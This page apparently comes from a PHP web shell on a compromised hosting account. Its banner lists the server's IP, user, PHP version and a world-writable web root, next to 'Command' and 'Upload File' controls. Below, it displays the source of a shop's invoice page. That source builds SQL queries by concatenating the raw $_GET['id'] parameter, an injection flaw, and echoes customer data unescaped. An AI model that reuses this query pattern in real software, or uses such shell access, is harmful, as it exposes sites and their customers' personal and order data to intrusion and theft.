|
Server IP : 82.112.239.40 / Your IP : 216.73.216.81 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u641149403/domains/uniformindia.co.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include_once('admin/includes/crud.php');
$db = new Database();
$db->connect();
$db->sql("SET NAMES 'utf8'");
include('admin/includes/variables.php');
include_once('admin/includes/custom-functions.php');
$fn = new custom_functions;
?>
<html>
<title>Invoice Report</title>
<head>
<link rel="stylesheet" href="admin/bootstrap/css/bootstrap.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="admin/dist/css/AdminLTE.min.css">
<link rel="stylesheet" href="admin/dist/css/print.css" type="text/css" media="print">
<style>
@page { size: auto; margin: 0mm; }
</style>
<style>
.borderless td,.heading th{
border: none!important;
padding: 0px!important;
}
.top-table{
width: 100%;
}
.text-left{
text-align: left;
}
.text-right{
text-align: right;
}
.table{
width: 100%;
margin-bottom: 1rem;
color: #212529;
border-collapse: collapse;
margin-top: 10px;
}
.table td, .table th {
padding: 0.75rem;
vertical-align: top;
border-top: 1px solid #dee2e6;
}
.table thead{
background-color: #3c3c3c;
color: #fff;
}
</style>
</head>
<body>
<!-- Content Wrapper. Contains page content -->
<div>
<?php
include_once('admin/includes/functions.php');
include_once('admin/includes/custom-functions.php');
$function = new custom_functions;
$settings = $fn->get_configurations();
$currency = $fn->get_settings('currency');
$ID = $_GET['id'];
$sql_outer="SELECT oi.*,u.*,p.*,v.*,o.*,u.name as uname,ul.user_name,ul.user_mobile,ul.user_email,ul.address,ul.address as user_address,ul.city,ul.state,ul.pincode,d.name as delivery_boy,o.status as order_status,oi.active_status as order_item_status,p.name as pname,(SELECT short_code FROM unit un where un.id=v.measurement_unit_id)as mesurement_unit_name FROM `order_items` oi
JOIN users u ON u.id=oi.user_id
JOIN user_location ul ON ul.user_id=u.id
JOIN product_variant v ON oi.product_variant_id=v.id
JOIN products p ON p.id=v.product_id
JOIN orders o ON o.id=oi.order_id
LEFT JOIN delivery_boys d ON o.delivery_boy_id=d.id WHERE o.id=".$ID;
// Execute query
$db->sql($sql_outer);
// store result
$res_outer=$db->getResult();
// print_r($res_outer);
$items=[];
foreach($res_outer as $row){
$data=array($row['product_id'],$row['pname'],$row['quantity'],$row['measurement'],$row['mesurement_unit_name'],$row['discounted_price']*$row['quantity'],$row['discount'],$row['sub_total'],$row['order_item_status'],$row['payment_method']);
array_push($items, $data);
}
// print_r($items);
$encoded_items=$db->escapeString(json_encode($items));
$id = $res_outer[0]['id'];
$sql = "SELECT COUNT(id) as total FROM `invoice` where order_id=".$id;
$db->sql($sql);
$res=$db->getResult();
$total=$res[0]['total'];
if ($total == 0) {
$invoicedate = date('Y-m-d');
$id = $res_outer[0]['id'];
$name=$res_outer[0]['user_name'];
$email=$res_outer[0]['user_email'];
$address = $res_outer[0]['user_address'].' '.$res_outer[0]['city'].' '.$res_outer[0]['state'].'-'.$res_outer[0]['pincode'];
$phone = $res_outer[0]['user_mobile'];
$orderdate = $res_outer[0]['date_added'];
$order_list = $encoded_items;
$discount = $res_outer[0]['discount'];
$final_total=$res_outer[0]['final_total'];
$total_payble = $res_outer[0]['price'];
$shipping_charge=$res_outer[0]['delivery_charge'];
$payment = $res_outer[0]['final_total'];
$data = array(
'invoice_date' => $invoicedate,
'order_id' => $id,
'name' => $name,
'address' => $address,
'order_date' => $orderdate,
'phone_number' => $phone,
'order_list' => $encoded_items,
'email' => $email,
'discount' => $discount,
'total_sale' => $total_payble,
'shipping_charge' => $shipping_charge,
'payment' => $payment,
);
// print_r($data);
$db->insert('invoice',$data);
$res=$db->getResult();
}
$sql_invoice = "SELECT id, invoice_date FROM invoice WHERE order_id =" . $id;
// Execute query
$db->sql($sql_invoice);
// store result
$res_invoice=$db->getResult();
$order_list = $encoded_items;
?>
<section class="content">
<section class="invoice">
<table class="top-table">
<tr>
<th class="text-left"><h3><?=$settings['app_name'];?></h3> </th>
<th class="text-center">Mo. +91 <?=$settings['support_number'];?></th>
<?php if(!empty($res_outer[0]['barcode'])){ ?>
<th class="text-right"><img src="admin/barcode.php?codetype=code39&size=40&text=<?php echo $res_outer[0]['barcode']; ?>&print=true" class="w-100"></th>
<?php } ?>
</tr>
</table>
<table class="table">
<tr>
<td>
From
<address>
<strong><?=$settings['app_name'];?></strong><br>
Email: <?=$settings['support_email'];?><br>
Customer Care : +91 <?=$settings['support_number'];?><br>
Delivery By: <?php echo $res_outer[0]['delivery_boy']; ?>
</address>
</td>
<td>
To
<address>
<strong><?php echo $res_outer[0]['user_name']; ?></strong><br>
<?php echo $res_outer[0]['user_address'].' '.$res_outer[0]['city'].' '.$res_outer[0]['state'].'-'.$res_outer[0]['pincode']; ?><br>
<strong><?php echo $res_outer[0]['user_mobile']; ?></strong><br>
<strong><?php echo $res_outer[0]['user_email']; ?></strong><br>
</address>
</td>
<td>Retail Invoice<br>
<b>No : </b>#<?php echo $res_invoice[0]['id']; ?>
<br>
<b>Date: </b><?php echo date('d-m-Y',strtotime($res_invoice[0]['invoice_date'])); ?>
<br>
<b>Order ID: </b>#<?php echo $res_outer[0]['id']; ?>
<br>
<b>Date: </b><?php echo date('d-m-Y h:i A',strtotime($res_outer[0]['date_added'])); ?>
<b>Delivery Date: </b> <?php echo $res_outer[0]['delivery_time']; ?>
<br>
<b>Payment Order Id: </b> <?php echo $res_outer[0]['oid']; ?><br>
<b>Reference Id: </b> <?php echo $res_outer[0]['tid']; ?>
</td>
</tr>
</table>
<!-- Table row -->
<div class="row">
<div class="col-xs-12 table-responsive">
<table class="table borderless">
<thead class="text-center">
<tr>
<th>Sr No.</th>
<th>Product Code</th>
<th>Name</th>
<th>Unit</th>
<th>Qty</th>
<th>SubTotal (<?=$currency;?>)</th>
</tr>
</thead>
<tbody>
<?php
$decoded_items=json_decode(stripSlashes($order_list));
// print_r($decoded_items);
$qty = 0;
$i=1;
$total=0;
foreach ($decoded_items as $item) {
if($item[8]!='cancelled' && $item[8]!='returned'){
?>
<tr>
<td> <?=$i?><br></td>
<td> <?=$item[0] ?><br></td>
<td><?=$item[1] ?><br></td>
<td><?=$item[3]." ".$item[4] ?><br></td>
<td> <?=$item[2] ?><br></td>
<td> <?=$item[7] ?><br></td>
</tr>
<?php $qty = $qty+$item[2];
$i++;
$total+=$item[7];
} }?>
<?php
$sql_total = 'select total from orders where id='.$ID;
$db->sql($sql_total);
$res_total = $db->getResult();
?>
</tbody>
<tr>
<th></th>
<th></th>
<th></th>
<th>Total</th>
<td> <?=$qty?><br></td>
<td> <?=$res_total[0]['total'];?><br></td>
</tr>
</table>
</div><!-- /.col -->
</div><!-- /.row -->
<?php if($res_outer[0]['discount']>0){
$discounted_amount = $res_total[0]['total'] * $res_outer[0]['discount'] / 100; /* */
$final_total = $res_total[0]['total'] - $discounted_amount;
$discount_in_rupees = $res_total[0]['total']-$final_total;
$discount_in_rupees = $discount_in_rupees;
// echo $discount_in_rupees;
} else {
$discount_in_rupees = 0;
}?>
<div class="row">
<!-- accepted payments column -->
<div class="col-xs-6 col-xs-offset-6">
<!--<p class="lead">Payment Date: </p>-->
<div class="table-responsive">
<table class="table borderless heading">
<th></th>
<tr>
<th>Payment Method </th>
<td><?php echo $res_outer[0]['payment_method']; ?></td>
</tr>
<tr>
<th>Total Order Price (<?=$currency;?>)</th>
<td><?php echo '+ '.$res_total[0]['total']; ?></td>
</tr>
<tr>
<th>Delivery Charge (<?=$currency;?>)</th>
<td><?='+ '.$res_outer[0]['delivery_charge'];?></td>
</tr>
<tr>
<th>Tax <?=$currency;?>(%)</th>
<td><?='+ '.$res_outer[0]['tax_amount'].' ('.$res_outer[0]['tax_percentage'].'%)'; ?></td>
</tr>
<tr>
<th>Discount <?=$currency;?>(%)</th>
<td><?='- '.$discount_in_rupees.' ('.$res_outer[0]['discount'].'%)'; ?></td>
</tr>
<tr>
<th>Promo (<?=$res_outer[0]['promo_code'];?>) Discount (<?=$currency;?>)</th>
<td><?='- '.$res_outer[0]['promo_discount'];?></td>
</tr>
<tr>
<th>Wallet Used (<?=$currency;?>)</th>
<td><?='- '.$res_outer[0]['wallet_balance']; ?></td>
</tr>
<tr>
<th>Final Total (<?=$currency;?>)</th>
<?php
$total = $res_total[0]['total'];
$delivery_charge = $res_outer[0]['delivery_charge'];
$tax_amount = $res_outer[0]['tax_amount'];
$promo_discount = $res_outer[0]['promo_discount'];
$wallet = $res_outer[0]['wallet_balance'];
$final_total = $total+$delivery_charge+$tax_amount-$discount_in_rupees-$promo_discount-$wallet;
?>
<td><?='= '.ceil($final_total);?></td>
</tr>
</table>
</div>
</div>
</div>
</section>
</div>
</body>
</html>